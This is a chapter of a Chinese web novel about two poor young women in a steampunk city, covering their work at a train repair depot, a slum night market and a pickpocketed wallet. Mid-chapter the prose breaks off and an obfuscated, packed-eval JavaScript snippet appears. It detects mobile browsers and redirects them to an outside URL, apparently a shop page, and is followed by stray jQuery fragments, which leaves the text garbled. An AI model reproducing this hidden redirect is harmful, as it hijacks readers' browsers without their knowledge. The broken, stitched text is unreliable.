8. 日常

作品:《救世主她一直在愤怒

    优赛纳的清晨,对于下等人来说,不是由阳光唤醒的。


    至少对于梅根来说,她的每一天都伴随着巨大的“咣当咣当”和“呜呜”声开始。


    轰鸣声是各种各样的大机器醒来的象征,不远处就是一条轨道,蒸汽轨道车呼啸而过的声浪裹挟着颤抖,穿透薄如蝉翼的木板墙,直直砸进梅根的耳朵里——这就是这里的房租如此便宜的原因。


    梅根睁开眼睛,眼前是天花板上一片蔓延的霉斑,它勾勒出一张面目模糊的地图。


    很简陋,但没关系,只要有一个安身立命之所,一切都会好起来的,不是吗?


    下到楼下的公共盥洗室去,水管里头的水冰冰凉,如果是冬天,就有些难挨,不过万幸现在还是夏天,只觉得凉意扑在脸上十分舒爽。


    “梅根!”维克多利亚的声音从楼上传来:“你又忘了拿风帽!”


    一墙之隔,汉斯大叔粗犷的、带着笑意的声音透过来:“又不是什么新鲜事,反正小维可总会替她的合租室友记得的。”


    合租室友——至少两个人对外是这样说的,虽然是外城,但教徒也不少,叫别人知道了两个人真正的关系,恐怕会无端生出麻烦来。


    梅根从盥洗室探出个头:“您快别说了,待会儿维可恐怕又要害羞了。”


    “哈哈。”汉斯大叔高大健壮,下楼时不得不低着头:“维可那小姑娘就是脸皮太薄,含羞草似的。”


    梅根附和地傻笑,紧随其后走下来的维克多利亚脸蛋果然红红的——汉斯大叔真是没说错。


    -


    内城,福尔茨车站,音速车维修站,梅根和维克多利亚挥洒汗水的地方。


    “梅根!那边有个大家伙,得咱们俩一起抬!”


    维克多利亚的声音总是很温柔,有一种和贫民窟与运维站都不太相符的美感。她指着角落里一个足有半人高的齿轮箱,那玩意儿少说也得有一百磅重。


    机械臂是普及了,但是也不太好用来夹精细物品,况且只是搬上传送带,也不至于出动更大的家伙儿,但真要举起这东西,还真不容易,普通男性工人搬运它也得两人合力。


    梅根只是点点头,没有多话。她放下手中的扳手,走到齿轮箱前。维克多利亚已经先一步蹲下,抓住齿轮箱底部的一个抓手。她脸上绷着劲,似乎已经做好了准备,要使出吃奶的力气。


    “一,二,起!”维克多利亚喊得有些吃力。


    梅根没有跟着喊,只是深吸一口气,弯腰,抓住齿轮箱的另一个把手。


    她背部肌肉绷紧,手臂发力。那个沉重的齿轮箱,在维克多利亚还在用力的时候,就已经离开了地面,稳稳当当地悬空而起。


    干得很好!梅根暗赞自己一声:不愧是进城之后苦练过的!


    维克多利亚的身体一个趔趄,她原本以为要使出全身的力气,结果齿轮箱轻飘飘就起来了。她转头,眼睛瞪得滚圆,直直地盯着梅根。


    “怎么了?”梅根毫无惊人的自觉,把齿轮箱放在它应该在的位置上,见维克多利亚看着自己,显然误会了。


    “累了吗?”她凑近维克多利亚:“那晚上咱们去吃点好的……”


    但力气大的人在体力活儿岗位上总是容易成为红人,这边梅根话音还没落,那边已经有人叫她:“梅根!来搬东西!”


    梅根不得不应一声,捏了捏维克多利亚的手,匆匆跑过去了。


    维克多利亚摇摇头,虽然还是有些疑惑,但也不值得拦着梅根问东问西——反正她早知道自己的爱人是个什么样的怪物,不是吗?


    又在钢铁的碰撞声和蒸汽的嘶鸣中度过了下午。当轮班的哨声响起,维克多利亚紧赶慢赶,走出门时,梅根已经在门口等着她。


    果然梅根才是最爱下班的人,维克多利亚觉得有些好笑——一个人怎么能做到又爱上班又爱下班呢?


    尤其是累了一天还这么有力气,果然是个怪物吧?


    “维可。”原本正在东张西望的梅根看见人,小跑几步过去,拉起维克多利亚的手:“咱们今天晚上去老鲍勃的摊子。”


    老鲍勃那儿的内脏最新鲜,梅根敢笃定,那一定是维克多利亚最喜欢的小摊。


    果然,维克多利亚眼睛一亮,但她接下来的话还没说出口,就被梅根堵在了嘴里。


    “走吧~~~维可。”梅根的手臂锁住维克多利亚:“我们有钱的!”


    被预判了反应,维克多利亚就不说话了,她怕梅根觉得自己扫兴,梅根也就默认维克多利亚同意了:“呜呼”一声,拉着维克多利亚跑了起来。


    -


    乘最后一班蒸汽轨道车回到外城,又绕过几条小巷,眼前豁然开朗。


    各种各样的小吃摊子挤在一起,用木板和油布简单搭建,冒着腾腾的热气。空气里混合着油炸食物、劣质酒水、还有汗水和灰尘的味道,但却有一种粗粝的生命力。人们三三两两地聚在一起,大声说笑,争吵,孩子们在狭窄的空隙里追逐打闹。


    这是贫民窟的夜市。


    虽然是常来常往的地方,但梅根好像总是看不腻似的,兴高采烈,拉着维克多利亚的手,一会儿指指这个,一会儿嘀咕嘀咕那个,不知是热的,还是兴奋,维克多利亚脸红红的,头随着梅根的手指转。


    忽然,梅根眼一亮,甩开维克多利亚的手往前跑了几步:“维可,等我一下。”


    “喂,梅根!”维克多利亚试图叫住她,但失败了。


    就像一条灵活的鱼,梅根在人群里钻了三两下,就不见了踪影。


    维克多利亚只好往边上靠了靠,等梅根回来,好在她大概知道梅根要去做什么,并不十分担心。


    今天梅根动作


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978035|193542||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    很快,五分钟的工夫就回到维克多利亚身边,重新挽起维克多利亚的手臂,若无其事地走向一条小巷。


    一钻进去,一个酒红色皮质小钱包神不知鬼不觉出现在梅根手中,她掌心一翻,把小钱包咬在牙齿之间,笑了。


    托住梅根凑近的脸,维克多利亚把钱包从梅根口中抽出来,声音轻轻的:“脏。”


    “钱诶,好东西,怎么会脏?”梅根夺过钱包在皮面上吻了一下:“露西婶婶的药费这不就有了?”


    维克多利亚的眼神仍旧不赞成,但是也明显纠结起来了——每次都是这样,梅根有时也会有些过意不去,她总用维可的善良辖制她的良善。


    但她说的也是实话,她们需要钱,哪怕是劫富济贫。


    梅根笑嘻嘻的:“不过,也不能怪我啊,谁让那些老爷们没事要往我们贫民窟里来?来也就算了,连自己的钱包都看不好,我替他们管着,岂不是两全其美?”


    ——两年前那件事后,她不愿再加入帮派,丧失意气的同时好像也丧失了一部分堂堂正正,就像偷窃这件事,重要的不是“钱”,而是“偷”,是给富得流油的人制造麻烦。


    至今她仍不知当初那位震动她人生与观念的大人物是谁,但是已经留下了根深蒂固的,富人里没有什么好东西的印象。


    所以,“借”用一点他们的钱又怎么了呢?“借”使人感到爽快!如果能“借”得对方跳脚,那就更爽快了!


    不过,这些就没必要对维克多利亚说了,就让她以为自己是缺钱导致了偷盗行为吧,否则的话,难免还要交代过去,那不堪的过去,如果可以瞒着维克多利亚的话,最好还是瞒着吧。


    “好吧。”维克多利亚最终还是妥协了,她早就知道自己的爱人不知为何仿佛特别仇视警察与富人,想弄钱的时候从来不对同类下手,只瞅准这两种人。


    不过在这里,在外城,这也没什么特别的,一群贫民,谁会对这两种人喜欢得起来的呢?


    但她补了一句:“只是最近还是收敛一点吧?风声好像很紧。”


    梅根随意点点头,她不愿意破坏维可的心情,也不愿意辜负维可的好意——即便心里还是觉得维可,可爱的小维可,还是太过谨慎了。


    最近风声紧是因为战争,又不是因为贫民窟本身的治安问题,没什么好担心的。


    更何况,所谓艺高人胆大,没有人可以在她的地盘抓住她的,绝对没有人。


    很快回过神,哈哈一笑,不等维克多利亚反应过来,梅根忽然单手抱起维克多利亚,往老鲍勃的摊子冲去。


    维克多利亚的注意力果然瞬间被转移走了,惊呼一声,抱紧了梅根的肩膀。


    “梅格!”这是维克多利亚软软的嗔怪。


    “哎!”梅根装作没听出来,她答得很大声,笑得也很开朗:“我在呢!”